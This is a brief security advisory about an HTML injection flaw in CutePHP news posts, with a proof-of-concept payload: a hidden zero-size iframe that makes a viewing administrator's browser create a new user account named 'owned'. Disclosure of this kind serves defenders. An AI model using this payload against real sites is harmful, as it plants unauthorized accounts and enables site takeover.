source: https://www.securityfocus.com/bid/8060/info

CutePHP is prone to HTML injection attacks. The vulnerability exists due to insufficient sanitization of user-supplied input. Specifically, user-supplied input to news posts are not sufficiently sanitized of malicious HTML code.

<iframe src="index.php?regusername=owned&regpassword= pass&regnickname=owned&regemail=nonenone.com&reglevel= 1&action=adduser&mod=editusers" height=0 width=0 frameborder=0 scrolling=0></iframe>